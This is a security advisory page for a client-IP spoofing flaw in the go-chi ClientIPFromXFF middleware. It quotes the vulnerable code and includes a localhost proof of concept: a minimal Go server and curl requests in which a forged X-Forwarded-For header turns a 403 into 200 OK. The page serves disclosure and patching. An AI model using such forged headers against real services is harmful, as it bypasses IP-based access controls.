
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 5.3.2
Patched in 5.4.0
Details
ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
GET /admin directly to the origin with no X-Forwarded-For header.403 Forbidden response and an empty derived client IP.X-Forwarded-For: 10.0.0.7, 198.51.100.42.200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
EPSS, exploit probability
Low0.13%
estimated chance of real-world exploitation in the next 30 days, higher than 2.1% of every CVE FIRST.org scores
Refreshed 10/23/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.